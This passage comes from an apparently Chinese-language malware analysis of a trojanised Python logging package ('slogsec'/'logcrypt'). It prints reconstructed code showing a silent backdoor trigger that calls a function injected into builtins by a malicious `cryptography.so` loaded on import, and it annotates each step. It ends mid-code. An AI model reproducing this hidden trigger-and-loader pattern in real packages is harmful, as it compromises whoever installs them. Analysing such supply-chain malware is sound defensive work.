border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">as</span></span><span leaf=""> cryptlogger</span><span leaf=""><br/></span><span leaf="">secure_logger = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">enable_secure_logging</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">filename, key_file, correlation_id=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf="">, log_level=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;INFO&#39;</span></span></span><span leaf="">):</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    Enable encrypted file logging and return a logger that writes to BOTH:</span><span leaf=""><br/></span><span leaf="">      - Beautiful colored console</span><span leaf=""><br/></span><span leaf="">      - Encrypted + checksum-protected file</span><span leaf=""><br/></span><span leaf="">    &#34;&#34;&#34;</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">global</span></span><span leaf=""> secure_logger</span><span leaf=""><br/></span><span leaf="">    key_path = Path(key_file)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 如果密钥文件不存在，生成新密钥</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">not</span></span><span leaf=""> key_path.exists():</span><span leaf=""><br/></span><span leaf="">        generate_key(encryption_key=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf="">, key_file=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">str</span></span><span leaf="">(key_path))</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 创建加密日志记录器</span></span><span leaf=""><br/></span><span leaf="">    secure_logger = cryptlogger(</span><span leaf=""><br/></span><span leaf="">        file_name=filename,</span><span leaf=""><br/></span><span leaf="">        encrypt_file=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">True</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        key_file=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">str</span></span><span leaf="">(key_path),</span><span leaf=""><br/></span><span leaf="">        log_level=log_level,</span><span leaf=""><br/></span><span leaf="">        correlation_id=correlation_id </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">or</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;slogsec&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        async_logging=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">True</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        file_format=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;text&#39;</span></span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;Slogsec secure logging enabled -&gt; </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{filename}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;Key stored at -&gt; </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{key_path.resolve()}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># ===== 后门触发代码 =====</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> builtins</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">hasattr</span></span><span leaf="">(builtins, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;__slogsec_make_secure__&#39;</span></span><span leaf="">):   </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 检查是否已被注入</span></span><span leaf=""><br/></span><span leaf="">            builtins.__slogsec_make_secure__()              </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 调用恶意函数！</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">except</span></span><span leaf=""> Exception:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">pass</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 静默吞掉异常</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> secure_logger</span><span leaf=""><br/></span></code></pre><blockquote style="box-sizing: border-box;margin: 1em 0px;padding: 4px 0px 0px 10px;color: rgb(154, 154, 154);border-left: 3px solid rgb(219, 219, 219);line-height: 1.6;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">[!CAUTION]</span><span leaf=""><br/></span><span leaf="">第 42-47 行是关键恶意代码。</span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">__slogsec_make_secure__</span></code><span leaf=""> 是由 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">cryptography.so</span></code><span leaf=""> 在 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">PyInit_cryptography()</span></code><span leaf=""> 中注入到 Python </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">builtins</span></code><span leaf=""> 模块的恶意函数。用 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">try/except</span></code><span leaf=""> 静默吞掉所有异常，确保即使恶意代码执行失败也不影响正常功能。</span></p></blockquote><hr style="box-sizing: border-box;margin: 24px 0px;padding: 0px;color: inherit;border-width: 0px 0px 1px;border-right-style: initial;border-bottom-style: solid;border-left-style: initial;border-right-color: initial;border-bottom-color: rgba(0, 0, 0, 0.1);border-left-color: initial;border-image: initial;border-top-style: initial;border-top-color: initial;opacity: 0.25;height: 0px;background-color: rgb(234, 236, 239);transform-origin: 0px 0px;transform: scale(1, 0.5);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3. logcrypt 模块 -- 恶意载荷宿主</span></h2><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.1 logcrypt/</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">init</span></strong><span leaf="">.py</span></h3><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># logcrypt/__init__.py</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> .core </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> Logger</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> .levels </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> .cryptography </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> encrypt_message, decrypt_message  </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># &lt;-- 加载恶意 .so</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> .key_manager </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> generate_key</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> .decrypt_log </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> decrypt_log</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> .filters </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> CorrelationIdFilter, RedactionFilter</span><span leaf=""><br/></span></code></pre><blockquote style="box-sizing: border-box;margin: 1em 0px;padding: 4px 0px 0px 10px;color: rgb(154, 154, 154);border-left: 3px solid rgb(219, 219, 219);line-height: 1.6;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">[!WARNING]</span><span leaf=""><br/></span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">from .cryptography import encrypt_message, decrypt_message</span></code><span leaf=""> 这一行触发 Python 加载 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">cryptography.so</span></code><span leaf="">，执行其 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">PyInit_cryptography()</span></code><span leaf=""> 函数——即恶意代码的真正入口。</span></p></blockquote><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.2 logcrypt/core.py -- 加密日志处理器</span></h3><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># logcrypt/core.py (重建的关键部分)</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> logging</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> hashlib</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> logcrypt.cryptography </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> encrypt_message</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> logcrypt.formatters </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> ColoredFormatter</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> logcrypt.filters </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> CorrelationIdFilter</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">class</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">EncryptedFileHandler</span></span><span leaf="">(logging.FileHandler):</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;&#34;&#34;加密文件日志 Handler&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">__init__</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">self, filename, encryption_key, mode=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;a&#39;</span></span><span leaf="">, encoding=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf="">, delay=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">False</span></span></span><span leaf="">):</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">super</span></span><span leaf="">().__init__(filename, mode, encoding, delay)</span><span leaf=""><br/></span><span leaf="">        self.encryption_key = encryption_key</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">emit</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">self, record</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            formatted = self.</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">format</span></span><span leaf="">(record)</span><span leaf=""><br/></span><span leaf="">            checksum = hashlib.sha256(formatted.encode(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;utf-8&#39;</span></span><span leaf="">)).hexdigest()</span><span leaf=""><br/></span><span leaf="">            encrypted = encrypt_message(formatted, self.encryption_key)</span><span leaf=""><br/></span><span leaf="">            msg_to_write = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{checksum}</span></span><span leaf="">:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{encrypted}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">            self.stream.write(msg_to_write + self.terminator)</span><span leaf=""><br/></span><span leaf="">            self.flush()</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">            self.handleError(record)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">class</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">Logger</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;&#34;&#34;主日志类 - 支持控制台彩色输出 + 加密文件记录&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">__init__</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">self, file_name=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf="">, log_level=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;INFO&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                 correlation_id=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf="">, encrypt_file=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">False</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                 encryption_key=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf="">, key_file=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                 